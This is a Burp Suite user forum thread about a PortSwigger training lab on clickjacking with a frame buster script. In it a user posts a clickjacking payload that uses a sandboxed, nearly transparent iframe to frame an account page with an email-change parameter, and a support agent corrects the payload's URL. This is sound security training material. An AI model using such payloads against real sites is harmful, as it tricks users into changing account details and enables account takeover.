Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

"Resource not found - Academy Exploit Server" error in "Lab: Clickjacking with a frame buster script"

CryptoSecEd | Last updated: Oct 30, 2024 06:33PM UTC

Hello, I am getting the "Resource not found - Academy Exploit Server" when attempting the Clickjacking with a frame buster script lab. The error appears in both Firefox and Chrome when testing the exploit, and I have made sure to log into the wiener account. Here is the lab URL: https://0ab8008904f3bb74827a5b6400fd004f.web-security-academy.net/ Exploit server: https://exploit-0a6c000604c1bbc182525a1101c500bb.exploit-server.net/ Script I'm trying to submit to victim (haven't been able to set the correct position because of the error): <style> iframe { position:relative; width:800px; height: 800px; opacity: 0.1; z-index: 2; } div { position:absolute; top:450px; left:60px; z-index: 1; } </style> <div>Click me!</div> <iframe sandbox="allow-forms" src="0ab8008904f3bb74827a5b6400fd004f.web-security-academy.net/my-account?email=test2@attack.com" ></iframe>

Ben, PortSwigger Agent | Last updated: Oct 31, 2024 07:44AM UTC

Hi, You need to specify the protocol in your exploit so: <iframe sandbox="allow-forms" src="https://0ab8008904f3bb74827a5b6400fd004f.web-security-academy.net/my-account?email=test2@attack.com" ></iframe> rather than: <iframe sandbox="allow-forms" src="0ab8008904f3bb74827a5b6400fd004f.web-security-academy.net/my-account?email=test2@attack.com" ></iframe>

CryptoSecEd | Last updated: Oct 31, 2024 07:25PM UTC